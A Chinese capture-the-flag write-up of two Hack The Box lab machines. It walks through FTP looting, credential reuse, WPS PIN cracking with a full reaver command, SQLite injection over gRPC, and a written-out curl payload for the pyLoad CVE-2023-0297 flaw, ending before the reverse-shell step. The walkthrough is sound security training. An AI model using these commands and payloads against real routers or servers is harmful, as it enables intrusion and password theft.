HTB:Wifinetic&PC
最后更新时间:
文章总字数:
预计阅读时间:
HTB:Wifinetic&PC
Wifinetic
这台靶机挺好的,打完学到了一堆网络网卡相关知识,还学会了怎么用 reaver 破解 WPA/WPA2 协议的 wifi 密码(日常生活中不建议尝试)
常规信息收集
扫到端口之后直接 nmap -A -p21,22,53 10.10.11.247 全套扫描,扫出来一个 ftp 匿名登录,登录之后可以下载的东西全部下载下来。
OpenWrt /etc 文件
这个 OpenWrt 是一个 linux 系统发行版。这里有一个备份文件,查看 pdf 的内容大概知道背景是公司要将 OpenWrt 换成 Ubuntu ,所以要求备份好数据。而 txt 文件里提到了使用 reaver 工具来检查 network 的安全性(后面会细说这个工具)这里备份文件解压出来是一个 /etc 文件夹,通过查看 passwd 来获得用户名,可以发现这里除了 root 和 ftp 之外还有一个 netadmin:
访问 shadow 可以得到 netadmin 密码的 hash ,但是破解不了。将目光转向 config 文件夹。在 OpenWrt 下,config 文件夹通常用来存放拓扑及路由配置,发现里面有一个 wireless 文件,其通常用来存放无线网络接口的配置信息及细节,访问可以获得 ssid 为 OpenWrt 的 wifi 密码。
VeRyUniUqWiFIPasswrd1! 尝试 ssh 登录(渗透测试基本意识,获得了不管什么密码都要 ssh 尝试登录一下,不行就试试 web 服务登录) root 和 netadmin,成功登录 netadmin ,获得 user flag。
reaver 破解 AP 密码
进入提权阶段,由于这台靶机是关于无线网络的,所以这里先介绍一下 wlan 接口的不同模式及其作用:
- Managed(管理模式):这是 WLAN 接口的默认模式,也是最常用的模式。在管理模式下,接口可以连接到无线访问点(AP)并与其进行通信。它可以扫描可用的无线网络,连接到指定的网络,并通过 AP 进行通信。这种模式适用于大多数常见的无线网络连接。
- Ad-hoc(自组网模式):在自组网模式下,WLAN 接口可以直接与其他具有相同SSID(无线网络名称)的接口进行通信,而无需通过无线访问点。这种模式适用于没有中央AP的点对点或点对多点的无线连接。
- Monitor(监控模式):监控模式是一种被动模式,用于监听和捕获无线网络中的数据包。在监控模式下,WLAN 接口可以接收和显示通过无线信道传输的所有数据包,而无需连接到特定的网络。这种模式通常用于网络分析和故障排除。
- Master(主模式):主模式通常用于创建无线访问点(AP),允许其他无线设备连接到该 AP,并通过它进行网络连接。在主模式下,WLAN 接口充当 AP,并管理与其连接的客户端设备。
- Repeater(中继模式):中继模式允许 WLAN 接口作为无线中继器或扩展器,将无线信号从一个 AP 中接收,并将其转发到另一个 AP,以扩展网络的范围。这种模式适用于扩大大型区域的无线覆盖范围。
先 ifconfig 一下,发现 wlan0,wlan1 两个接口都有独立的 ip 地址
然而从这里无法确定谁是 AP,可以使用 iw dev
命令来查看进一步的信息:
iw dev
是一个用于管理无线设备的命令,它提供了关于无线设备的详细信息和配置选项。通过运行iw dev
命令,您可以列出系统中的无线设备,并查看它们的属性和状态。
运行iw dev
命令时,它将显示每个无线设备的以下信息:
- 接口名称(Interface):无线设备的名称,通常以”wlan”或”wifi”开头,例如”wlan0”或”wlp2s0”。
- 接口类型(Type):无线设备的类型,例如”managed”(托管模式)或”monitor”(监控模式)。
- PHY号码(Phy):物理无线设备的编号。
- 支持的接口模式(Supported interface modes):无线设备支持的不同模式,如”IBSS”(自组网)、”managed”(托管模式)、”AP”(访问点模式)等。
- 当前接口模式(Current interface mode):无线设备当前正在使用的模式。
- 支持的频段(Supported bands):无线设备支持的频段,如2.4 GHz或5 GHz。
- 支持的频道宽度(Supported channel widths):无线设备支持的频道宽度选项。
- 支持的MCS速率集(Supported RX MCS rates):无线设备支持的接收速率集合。
wlan0 是 AP,而且也可以得到 addr(也就是 BSSID),另外也可以得到网络的拓扑图:
使用命令 getcap -r / 2>/dev/null
查找所有文件中拥有额外能力的文件(因为 netadmin 不能使用 sudo ,很多操作受限),下面是一些常见的额外权限信息:
CAP_NET_ADMIN
:允许进行网络配置和管理,包括网络接口配置、防火墙设置等。CAP_NET_RAW
:允许进行原始套接字操作,可以发送和接收网络数据包,包括对网络协议的直接访问。CAP_SYS_ADMIN
:允许进行系统管理操作,包括挂载文件系统、修改系统时间、设置系统资源限制等。CAP_SYS_PTRACE
:允许对其他进程进行调试和跟踪操作,包括使用ptrace
函数进行进程间通信和调试。CAP_SYS_CHROOT
:允许在进程的根目录之外进行chroot操作,即改变当前进程的根文件系统。CAP_DAC_OVERRIDE
:允许忽略文件的权限限制,可以读取或修改不具备正常权限的文件。CAP_DAC_READ_SEARCH
:允许读取或搜索没有正常权限的文件或目录。CAP_SETUID
、CAP_SETGID
:允许设置进程的有效用户ID(UID)和有效组ID(GID),即允许切换用户身份。
发现这个 reaver 可以直接访问网络协议,这不正好,直接用 reaver 把 AP 密码破了。
reaver 利用了 WiFi 保护设置(WiFi Protected Setup - 下文中简称为 WPS )的一个弱点,WPS 是许多路由器上都有的一个功能,可以为用户提供简单的配置过程,它与设备中硬编码保存的一个 PIN 码绑定在一起。Reaver 利用的就是 PIN 码的一个缺陷,最终的结果就是,只要有足够的时间,它就能破解 WPA 或 WPA2 的密码(爆破)。
reaver 使用:reaver -i mon0 -b 02:00:00:00:00:00 -vv -c 1
-i 指定 mon0(处于监控模式下的接口),-b 指定需要破解设备的 BSSID,-vv 输出信息,-c 1 指定通道为 1 ,刚刚 iw dev 看到的,其实不指定它也会一个一个试。一般破解密码在 4-10 h。
破解出来一个密码直接 ssh root 登录成功,获得 system flag。
以下是一篇使用 reaver 实战破解 wifi 密码的文章,不建议日常生活中尝试,仅供学习参考:
https://linux.cn/article-2335-1.html
另外,文章中没提到的,如何将 wlan0mon 改回 wlan0,使用命令 sudo airmon-ng stop wlan0mon
PC
常规信息收集
扫出了 50051 端口和 22 端口(竟然没有 80 ?!)。
初探 gRPC 服务
开放了 50051 端口,关于 50051 端口的一些知识:
端口号 50051 通常用于 gRPC 服务。gRPC 是一种高性能、开源的远程过程调用( RPC )框架,它使用 Protocol Buffers 作为接口定义语言,并支持多种编程语言。 gRPC 基于 HTTP/2 协议进行通信,端口号 50051 是 gRPC 服务的默认端口号。
在 gRPC 中,客户端和服务器之间通过定义的接口和方法进行通信。客户端可以调用远程服务器上的方法,传递参数并接收返回结果。 gRPC 提供了强大的功能,例如双向流式传输、身份验证和流控制,使得它在分布式系统中广泛应用于构建高效、可扩展的服务。
上面提到了可以调用远程服务器上的方法,那首先我们需要知道远程服务器上有什么方法,可以使用 grpcurl 工具来利用 gRPC 反射特性获取 gRPC 服务的接口定义信息(当然如果有的话也可以直接看 IDL 为 Protocol Buffers 的接口定义文件,通常以 .proto 拓展名存储):
1 | https://github.com/fullstorydev/grpcurl/releases/tag/v1.8.9 |
输出显示了两个服务。第一个是一个用户定义的名为” SimpleApp “的 gRPC 服务,我们将进一步列举它的方法。第二个是一个内置的服务,称为” ServerReflection “,它允许客户端动态查询和发现服务器上可用的 gRPC 服务的信息,包括服务定义、方法和消息格式。基本上,这第二个服务可以帮助我们调试和列举第一个服务。
接下来可以用 describe 进一步获取各接口的具体传入输出信息:
如图,可得知 LoginUser 接口需要 username 和 password 传入,然后返回一条 message 。
通过 grpcurl 尝试调用各方法:
getInfo 提示少了 token ,怀疑前面登录的时候有 token 返回,登录加上参数 -vv
显示详细信息,成功调用 info:
Sqlite 注入
都调用一遍之后发现没什么,漏洞点可能在输入处,是否存在注入,使用 or 1=1 探测,发现返回信息不同,确实存在 sql 注入。sqlite_version() 探出是 sqlite 注入,获取表名和列名方式和 mysql 不同:
1 | SELECT name FROM sqlite_master WHERE type='table'; |
sau 账户密码:HereIsYourPassWord1431,ssh 登录成功。
ssh 远程端口转发
登录之后使用 ss -tlpn
命令查看目前本机监听中的端口,发现了 8000 和 9666 这两个监听本地地址的端口(由于其仅监听本地,所以未被 nmap 扫到)。
为了更好地探测这两个端口上开着什么服务,我们可以在本机上使用 ssh 的远程端口转发到本地命令。
1 | ssh -L remote_port:localhost:local_port user@remote_host |
pyload RCE 提权
转发完成后,本地访问 127.0.0.1:8000 可以发现是一个 pyload 的服务,在目标机上查看此服务是什么用户在运行:ps aux | grep pyload
,发现是 root ,考虑是否可以通过 pyload 漏洞来提权,pyload --version
可以发现版本号 0.5.0,上网找到了 CVE2023-0297 。
exploit:
1 | curl -i -s -k -X $'POST' --data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' $'http://<target>/flash/addcrypted2' |
漏洞产生的原理就是 jk 会被当作 js 语句运行,而由于 pyimport 可以导入 OS 包,于是可以利用 os.system 执行 shell 命令。
由于已经进行了端口转发,目标机和本机上执行 exploit 效果一致,写一个 python 反弹 shell 文件,并在 exploit 里面运行: